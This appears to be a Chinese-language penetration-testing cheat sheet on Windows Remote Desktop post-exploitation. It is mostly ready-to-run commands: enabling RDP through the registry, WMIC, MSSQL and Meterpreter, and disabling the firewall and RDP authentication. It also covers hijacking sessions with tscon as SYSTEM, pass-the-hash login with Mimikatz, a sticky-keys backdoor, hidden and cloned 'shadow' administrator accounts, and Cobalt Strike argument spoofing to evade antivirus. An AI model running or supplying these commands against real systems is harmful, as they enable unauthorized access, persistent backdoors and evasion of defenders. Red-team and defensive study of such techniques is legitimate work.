1、查询3389端口方式
- (1) REG查询3389状态(0:ON、1:OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
- (2) REG查询3389端口(16进制->10进制)
#两个键值均可,值为0xd3d则为3389,否则将其转为10进制则为端口号 REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /v PortNumber REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
- (3) tasklist、netstat命令查询3389端口
tasklist /svc | findstr "TermService" netstat -ano | findstr "3389"
2、开启3389端口方式
- (1) MSF命令开启3389端口
meterpreter > run post/windows/manage/enable_rdp meterpreter > run getgui -e #注:getgui可用于开启目标机器的3389远程桌面端口、创建管理员账户密码、禁用远程桌面(TCP-In)防火墙入站规则等。
- (2) REG命令开启3389端口
#开启远程桌面 (0:ON、1:OFF) REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f #修改windows远程桌面端口3389为3000(一般情况不要改) REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 3000 /f
- (3) WMIC命令开启3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 # 前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
- (4) Windows API开启3389端口
原理就是利用RegCreateKeyEx和RegSetValueEx两个API和Microsoft.Win32 RegistryKey类操作系统注册表
- (5) MSSQL xp_regwrite开启3389端口
应用场景:xp_cmdshell被禁用/删除且无法恢复时,可尝试用xp_regread、xp_regwrite来查询和开启目标机器3389端口,也可以选择用sp_OACreate、Agent Job等其他命令执行方式。
# 1、查询3389开启状态 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections' # 2、查询3389远程桌面端口 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' # 3、开启3389远程桌面端口(0:ON、1:OFF) exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
注:防火墙配置3389放行
#配置一下防火墙,设置为允许远程桌面连接,命令: netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow #netsh 是 windows 的网络配置命令,advfirewall firewall 意思为防火墙的高级设置,add rule 是添加一条规则 #name 指定规则名称,protocol 指定协议,dir 指定是出站还是入站,localport 指定端口,action 指定动作 allow 允许 #关闭防火墙 netsh firewall set opmode mode=disable
3、RDP劫持或切换用户
- (1)切换用户
#获取用户对应的会话 ID query user #切换会话 tscon 会话id /PASSWORD:要切换的用户密码 如: tscon 2 /PASSWORD:Bunny2021 #在 SYSTEM 权限下直接执行 tscon 会话切换命令, 不需要输入密码
- (2)劫持用户
#创建服务获取 SYSTEM 权限 sc create rdp binpath= "cmd.exe /k tscon 会话id /dest:会话名称" sc create rdp binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #修改为目标会话id和当前会话名 sc start rdp
4、登陆RDP方式
- (1)windows多个远程桌面连接
mstsc /admin
- (2)linux远程桌面连接
#使用redesktop工具 redesktop 192.168.1.1 //redesktop IP
- (3)哈希传递登录 RDP
#注册表开启Restricted Admin Mode REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f #查看是否成功开启 REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" #Mimikatz 进行哈希传递 privilege:\:debugsekurlsa\::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin" #注:管理员组有效
- (4)粘滞键与辅助功能后门
#关闭3389鉴权,设置securitylayer 安全层验证 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f #注: userauthentication鉴权: 0 指定的网络级用户不需要身份验证就能建立远程桌面连接。这是默认值。 1 指定网络级别的用户身份验证是必需的 securitylayer 安全层验证: 0 就是连接前使用 rdp 协议进行身份验证,rdp 即远程桌面连接,可以简单理解为就是关闭验证。 1 是指在连接前两端协商来进行身份验证,这个是默认值。 2 就是使用 tls 协议来进行 #替换sethc.exe程序 copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
- (5)RDP登陆出错处理(后续遇到后补充)
1、出现身份验证错误,要求的函数不受支持,远程计算机:X.X.X.X,这可能是由于CredSSP加密Oracle修正
#下列方法选择一种即可 1、控制端打开组策略(gpedit.msc),打开计算机配置/管理模板/系统/凭据分配,在右侧列表中找到加密Oracle修正,双击加密Oracle修正,进入设置,选择已启用,将保护级别选择易受攻击 2、控制端设置注册表 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /v AllowEncryptionOracle /t REG_DWORD /d 2 3、被控端关闭3389鉴权 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
5、创建账户密码
- (1)cmd创建账户并添加管理员权限
net user #查看当前所有系统用户 net user test 123456 /add #添加用户名为test密码为123456的用户 net localgroup administrators test /add #把test用户提升至管理组 #拓展: 1、net不能用时 可以用net1 如net1 user jdq 123456 /add 效果一样,也可以复制net.exe为xxx.exe再执行 2、/add也可以用/ad代替 执行效果一样 3、使用$添加隐藏用户:net user jdq$ 123456 /add
- (2) Powershell添加管理员用户
#添加test用户,密码123456 New-LocalUser test -Password (ConvertTo-SecureString -String '123456' -AsPlainText -Force) Add-LocalGroupMember -Group "administrators" -Member "test"
- (3)使用vbs文件
#vbs脚本,添加test用户,密码123456 set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) Set oe=GetObject(os&"/Administrators,group") Set od=ob.Create("user","admin") od.SetPassword "123456" od.SetInfo Set of=GetObject(os&"/admin",user) oe.add os&"/admin" #执行vbs脚本 wscript.exe add.vbs
- (4)CS argue命令
#argue 进程参数欺骗 #argue [command] [fake arguments] #argue 命令 假参数 欺骗某个命令参数 #argue [command] #argue 命令 取消欺骗某个命令参数 argue net saldjfoiwjeofijoisfklasjdlfjasdfiowjefoijwoefjoaisjefojsaefoiwejfowef run net user test 123456 /add run net localgroup "administrators" test /add
- (5)Win API 进行UserAdd
#这个需要一定的代码能力。我直接贴工具 https://github.com/lengjibo/NetUser #原理分析文章 https://www.anquanke.com/post/id/264890#h3-6
- (6)Vbscript API 添加管理员用户
#1、API_Shell.Users组件(XP/Win2k3) Set o=CreateObject( "Shell.Users" ) Set z=o.create("test") z.changePassword "123456","" z.setting("AccountType")=3 #2、ADSI_WinNT对象(XP/Win2k3/Win7/Win2k8/Win8/Win10/2012/2016) set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) Set oe=GetObject(os&"/Administrators,group") Set od=ob.Create("user","test") od.SetPassword "123456" od.SetInfo Set of=GetObject(os&"/betasec",user) oe.add os&"/betasec"
- (7)影子账户的创建(system权限cmd操作,管理员rdp登陆图形操作)
(注:新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$,删除管理员帐户b,隐藏账户bbb$仍然有效) (克隆帐户a的权限,建立隐藏帐户aaa$,修改帐户a的密码,隐藏帐户aaa$仍然有效)
-# 创建隐藏用户
net user test$ 123456 /add net localgroup administrators test$ /add
-# 导出用户注册表id信息(注:用QUERY查看无法看到id信息)
reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$ test$.reg //隐藏用户的信息 reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator administrator.reg //管理员的信息
-# 利用type打开导出文件,获得两个用户的id
type test$.reg type administrator.reg
-# 根据id导出用户的详细信息
reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 000003EA.reg reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 000001F4.reg
-# 将管理员的f值复制替换到隐藏用户的f值
(注:可以下载至本地修改,或进行追加修改)
-# 删除隐藏用户
net user test$ /del
-# 还原隐藏用户注册表test$.reg,000003EA.reg
regedit /s test$.reg regedit /s 000003EA.reg
-# 启动账户
net user test$ /active:yes
参考链接
1、RDP安全总结:
https://bewhale.github.io/posts/24991.html#toc-heading-1
2、用户添加:
https://mp.weixin.qq.com/s/UKJUBQFKf1lBctfckmieDg
3、绕过AV进行UserAdd的方法:
https://www.anquanke.com/post/id/264890#h3-5
4、渗透技巧——Windows系统的帐户隐藏:
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F